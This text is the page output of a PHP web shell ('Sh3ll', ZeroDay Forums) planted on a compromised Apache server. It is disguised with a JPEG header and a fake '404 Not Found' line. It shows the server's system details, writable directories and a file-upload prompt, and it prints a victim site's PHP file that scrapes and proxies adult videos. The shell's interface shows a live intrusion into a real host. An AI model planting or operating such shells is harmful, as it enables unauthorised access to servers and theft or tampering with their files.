ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/18plus.php
<?php
exit();
include 'lib/simple_html_dom.php';
class xvideos
{
    public function __construct()
    {
        global $CORE;
        $code = '';
        if (isset($CORE->input['code'])) {
            $code = $CORE->input['code'];
        }
        switch ($code) {
            default    :
                $this->goList();
                break;
            case 'cat':
                $this->goCat();
                break;
        }
    }
    function goCat(){
        global $smarty,$func,$INFO,$CORE,$memcache,$print;

        if (isset($_COOKIE['over18']) && $_COOKIE['over18'] == $CORE->ip) {
            $id_encode = $CORE->input['id'];
            $id = $func->str_encode($func->hex2bin($id_encode), 'ngocgiac');//Amateur-65
            $url_get = 'https://xvideos.com/c/' . $id;
            $pageNum = (isset($_GET['pageNum'])) ? intval($_GET['pageNum']) : 1;
            if ($pageNum > 1) {
                $url_get = 'https://xvideos.com/c/' . $id . '/' . ($pageNum - 1);
            } else {
                $url_get = 'https://xvideos.com/c/' . $id;
            }
            $day_time = date('d-m-Y');
            $day_file_name = md5($url_get) . '-' . $day_time;
            if (!file_exists('cache/youtube/xvideos-cat1-' . $day_file_name)) {
                $content2 = $this->curl_func_home($url_get);
                if (trim($content2) != '') {
                    file_put_contents('cache/youtube/xvideos-cat1-' . $day_file_name, $content2);
                }
            } else {
                $content2 = file_get_contents('cache/youtube/xvideos-cat1-' . $day_file_name);
            }
            $html = str_get_html($content2);
            $detail['title'] = trim($html->find('h2.page-title', 0)->plaintext);
            $detail['total'] = $html->find('h2.page-title span.sub', 0)->plaintext;
            $detail['total'] = intval(trim(str_replace(array('(', ')', ',', 'results'), array('', '', '', ''), $detail['total'])));
            $detail['videos'] = array();
            $i = 0;
            foreach ($html->find('div.mozaique div.thumb-block') as $val) {
                if (!empty($val->find('a', 0)->href) && !empty($val->find('img'))) {
                    if (strpos($val->find('img', 0)->getAttribute('data-src'), 'THUMBNUM.jpg') === false) {
                        $detail['videos'][$i]['url'] = $val->find('a', 0)->href;
                        $detail['videos'][$i]['id'] = $val->find('img', 0)->getAttribute('data-videoid');
                        //$detail['videos'][$i]['img'] = 'https://img.123vid.top/image.php?file='.base64_encode($val->find('img', 0)->getAttribute('data-src')).'&w=686&h=386';
                        $detail['videos'][$i]['img'] = $val->find('img', 0)->getAttribute('data-src');
                        $detail['videos'][$i]['title'] = $val->find('p.title a', 0)->innertext;
                        $detail['videos'][$i]['ftitle'] = $func->format_string($detail['videos'][$i]['title']);
                        $detail['videos'][$i]['duration'] = $val->find('p.metadata span.duration', 0)->innertext;
                        $detail['videos'][$i]['user_name'] = $val->find('p.metadata span.name', 0)->innertext;
                        $detail['videos'][$i]['user_post_url'] = 'https://xvideos' . $val->find('p.metadata a', 0)->href;
                        $detail['videos'][$i]['fuser_post'] = $func->format_string($detail['videos'][$i]['user_name']);
                        $detail['videos'][$i]['user_id'] = bin2hex($func->str_encode($detail['videos'][$i]['user_post_url'], 'ngocgiac'));
                        $i++;
                    }
                }
            }
            $j = 0;
            $detail['cat'] = array();
            foreach ($html->find('div.main-categories ul li') as $val) {
                if (!empty($val->find('a', 0)->href)) {
                    if (strpos($val->find('a', 0)->href, '/c/') !== false) {
                        $detail['cat'][$j]['url'] = $val->find('a', 0)->href;
                        $detail['cat'][$j]['id'] = basename($val->find('a', 0)->href);
                        $detail['cat'][$j]['id_encode'] = bin2hex($func->str_encode(basename($val->find('a', 0)->href), 'ngocgiac'));
                        $detail['cat'][$j]['title'] = $val->find('a', 0)->plaintext;
                        $detail['cat'][$j]['ftitle'] = $func->format_string($detail['cat'][$j]['title']);
                    }
                }
                $j++;
            }

            $totalPage = ceil($detail['total'] / 100);
            $detail['nav'] = $print->Pagination($totalPage, $pageNum, 'video-find-5', '?act=18plus&code=cat&id=' . $id_encode);
            $smarty->assign('detail', $detail);
            if ($_SESSION['lang'] != 'vi') {
                $smarty->assign('title', 'videos 18+ category ' . $detail['title']);
                $smarty->assign('description', 'Watch free hd movies fast, fastest video updates, latest. Create a free video channel no ads. The world of movies, films, videos for everyone.');
            } else {
                $smarty->assign('title', 'videos 18+ danh mục ' . $detail['title']);
                $smarty->assign('description', 'Xem phim hd miá»…n phí tốc Ä‘á»™ nhanh, video cập nhật nhanh nhất, má»›i nhất. Tạo kênh video miá»…n phí không quảng cáo. Thế giá»›i nghe nhìn cho má»i ngÆ°á»i.');
            }
            $smarty->assign('cur_url', $func->current_url());
            $smarty->assign('keywords', 'drama,movie,video');
            $smarty->assign('image', $INFO['home_url'] . 'skin/' . $INFO['skin_folder'] . '/img/vidoe-logo.png');
        }else{
            $_SESSION['detail_url_check'] = $func->current_url();
            $print->refresh($INFO['home_url'].'18plus/');
        }
    }
    function goList(){
        global $smarty,$func,$INFO,$CORE,$print;
        
        $txt_op = '';
        for($i=(date('Y')-90);$i<(date('Y')-10);$i++){
            $txt_op .= '<option value="'.$i.'">'.$i.'</option>';
        }
        $smarty->assign('txt_op',$txt_op);
        if(isset($CORE->input['submitbt'])){
            $birth_year = $CORE->input['birth_year'];
            $check = (date('Y')-$birth_year);
            if($check>=18){
                setcookie('over18', $CORE->ip, time() + (86400*30*15), "/");
            }
            if(isset($_SESSION['detail_url_check']) && $_SESSION['detail_url_check']!=''){
                $print->refresh($_SESSION['detail_url_check']);
                exit();
            }else {
                $print->refresh('?act=18plus');
                exit();
            }
        }
        $detail = array();
        if(isset($_COOKIE['over18']) && $_COOKIE['over18']==$CORE->ip){
            $show_page = 1;
            $pageNum = (isset($_GET['pageNum'])) ? intval($_GET['pageNum']) : 1;
            if($pageNum>1) {
                $url_get = 'https://xvideos.com/new/' . ($pageNum-1) . '?trend=' . $_SESSION['country'];
            }else{
                $url_get = 'https://xvideos.com/change-country/' . strtolower($_SESSION['country']);
            }
            $day_time = date('d-m-Y');
            $day_file_name = md5($url_get).'-' . $day_time;
            if (!file_exists('cache/youtube/xvideos-home1-' . $day_file_name)) {
                $content2 = $this->curl_func_home($url_get);
                if (trim($content2) != '') {
                    file_put_contents('cache/youtube/xvideos-home1-' . $day_file_name, $content2);
                }
            } else {
                $content2 = file_get_contents('cache/youtube/xvideos-home1-' . $day_file_name);
            }

            $html = str_get_html($content2);
            $detail['total'] = trim(str_replace(array('(',')',',','results'),array('','','',''),$html->find('input.search-input',0)->placeholder));
            $detail['total'] = intval(trim(str_replace(array('Search','videos'),array('',''),$detail['total'])));
            $detail['videos'] = array();
            $i = 0;
            foreach ($html->find('div.mozaique div.thumb-block') as $val){
                if(!empty($val->find('a',0)->href) && !empty($val->find('img')) ) {
                    if(strpos( $val->find('img', 0)->getAttribute('data-src'),'THUMBNUM.jpg')===false) {
                        $detail['videos'][$i]['url'] = $val->find('a', 0)->href;
                        $detail['videos'][$i]['id'] = $val->find('img', 0)->getAttribute('data-videoid');
                        //$detail['videos'][$i]['img'] = 'https://img.123vid.top/image.php?file='.base64_encode($val->find('img', 0)->getAttribute('data-src')).'&w=686&h=386';
                        $detail['videos'][$i]['img'] = $val->find('img', 0)->getAttribute('data-src');
                        $detail['videos'][$i]['title'] = $val->find('p.title a', 0)->innertext;
                        $detail['videos'][$i]['ftitle'] = $func->format_string($detail['videos'][$i]['title']);
                        $detail['videos'][$i]['duration'] = $val->find('p.metadata span.duration', 0)->innertext;
                        $detail['videos'][$i]['user_name'] = $val->find('p.metadata span.name', 0)->innertext;
                        $detail['videos'][$i]['user_post_url'] = 'https://xvideos' . $val->find('p.metadata a', 0)->href;
                        $detail['videos'][$i]['fuser_post'] = $func->format_string($detail['videos'][$i]['user_name']);
                        $detail['videos'][$i]['user_id'] = bin2hex($func->str_encode($detail['videos'][$i]['user_post_url'], 'ngocgiac'));
                        $i++;
                    }
                }
            }
            $j=0;
            $detail['cat'] = array();
            foreach($html->find('div.main-categories ul li') as $val){
                if(!empty($val->find('a',0)->href)) {
                    if(strpos($val->find('a', 0)->href,'/c/')!==false) {
                        $detail['cat'][$j]['url'] = $val->find('a', 0)->href;
                        $detail['cat'][$j]['id'] = basename($val->find('a', 0)->href);
                        $detail['cat'][$j]['id_encode'] = bin2hex($func->str_encode(basename($val->find('a', 0)->href), 'ngocgiac'));
                        $detail['cat'][$j]['title'] = $val->find('a', 0)->plaintext;
                        $detail['cat'][$j]['ftitle'] = $func->format_string($detail['cat'][$j]['title']);
                    }
                }
                $j++;
            }

            $totalPage = ceil($detail['total'] /100);
            $detail['nav'] = $print->Pagination($totalPage, $pageNum, 'video-find-5', '?act=18plus');

        }else{
            $show_page = 0;
        }
        $smarty->assign('detail',$detail);
        $smarty->assign('show_page',$show_page);


        if($_SESSION['lang'] != 'vi') {
            $smarty->assign('title', 'Watch movies and videos free');
            $smarty->assign('description','Watch free hd movies fast, fastest video updates, latest. Create a free video channel no ads. The world of movies, films, videos for everyone.');
        }else{
            $smarty->assign('title', 'Xem phim và video miễn phí');
            $smarty->assign('description','Xem phim hd miá»…n phí tốc Ä‘á»™ nhanh, video cập nhật nhanh nhất, má»›i nhất. Tạo kênh video miá»…n phí không quảng cáo. Thế giá»›i nghe nhìn cho má»i ngÆ°á»i.');
        }
        $smarty->assign('cur_url',$func->current_url());
        $smarty->assign('keywords','drama,movie,video');
        $smarty->assign('image',$INFO['home_url'].'skin/'.$INFO['skin_folder'].'/img/vidoe-logo.png');
    }

    function curl_func_home($url) {
        $ch = curl_init();
        $head[] = 'Host: xvideos.com';
        $head[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0';
        $head[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
        $head[] = 'Accept-Language: en-US,en;q=0.5';
        $head[] = 'Accept-Encoding: gzip';
        $head[] = 'Connection: keep-alive';
        $head[] = 'Cookie: VISITOR_INFO1_LIVE=fQJoDmD2uIM; _ga=GA1.2.132832653.1582794066; PREF=app=m; CONSENT=YES+VN.vi+20170312-18-0; YSC=f7ClEVxjn-o; GPS=1';
        $head[] = 'Upgrade-Insecure-Requests: 1';
        $head[] = 'Pragma: no-cache';
        $head[] = 'Cache-Control: no-cache';
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0');
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, 'https://xvideos.com');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        /*curl_setopt($ch, CURLOPT_COOKIEJAR,  'cookies-m-youtube-com.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies-m-youtube-com.txt');*/
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
        curl_setopt($ch,CURLOPT_ENCODING , "gzip");
        $page = curl_exec($ch);
        curl_close($ch);
        return $page;
    }
    function url_exists($url) {
        if (!$fp = curl_init($url)) return false;
        $file_headers = get_headers($url);
        if(!$file_headers || $file_headers[0] == 'HTTP/1.1 404 Not Found') {
            return false;
        }
        else {
            return true;
        }
    }
}
$run = new xvideos();
?>

ZeroDay Forums Mini